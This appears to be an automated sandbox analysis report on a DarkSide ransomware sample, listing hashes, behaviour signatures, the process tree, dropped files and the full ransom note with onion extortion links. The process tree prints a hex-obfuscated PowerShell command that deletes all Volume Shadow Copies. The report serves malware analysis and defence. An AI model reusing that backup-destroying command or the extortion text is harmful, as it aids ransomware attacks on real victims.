Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    12/08/2026, 12:26

General

  • Target
    e0c0cbc50a9ed4d01a176497c8dba913cbbba515ea701a67ef00dcb7c8a84368.exe
  • Size 52KB
  • Sample260812-pmah5styfv
  • SHA256 e0c0cbc50a9ed4d01a176497c8dba913cbbba515ea701a67ef00dcb7c8a84368
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Path
  • C:\Users\README.0985e53b.TXT

  • darkside

Ransom Note
  • ----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs
  • http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

  • http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

  • Family: DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Renames multiple (137) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\e0c0cbc50a9ed4d01a176497c8dba913cbbba515ea701a67ef00dcb7c8a84368.exe
    "C:\Users\Admin\AppData\Local\Temp\e0c0cbc50a9ed4d01a176497c8dba913cbbba515ea701a67ef00dcb7c8a84368.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2864
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:540
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3768

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 1da9ef1dab03644a79bd2ce3deb13fdc8c6225f95f449d4177c7fe24b0fd7a3f
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_j2c3wyk0.snb.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j2c3wyk0.snb.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        README.0985e53b.TXT

        • Path C:\Users\README.0985e53b.TXT
        • Size 2KB
        • SHA256 f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8
        • MD5 SHA1 SHA512 TLSH

        memory/540-1-0x00000224E9EF0000-0x00000224E9F00000-memory.dmp

        memory/540-2-0x00000224E9EF0000-0x00000224E9F00000-memory.dmp

        memory/540-3-0x00000224EC010000-0x00000224EC032000-memory.dmp

        memory/540-11-0x00000224E9EF0000-0x00000224E9F00000-memory.dmp

        memory/540-14-0x00000224EC040000-0x00000224EC25C000-memory.dmp

        memory/2864-0-0x0000000000710000-0x0000000000722000-memory.dmp

        memory/2864-201-0x0000000000710000-0x0000000000722000-memory.dmp

        memory/2864-205-0x0000000000710000-0x0000000000722000-memory.dmp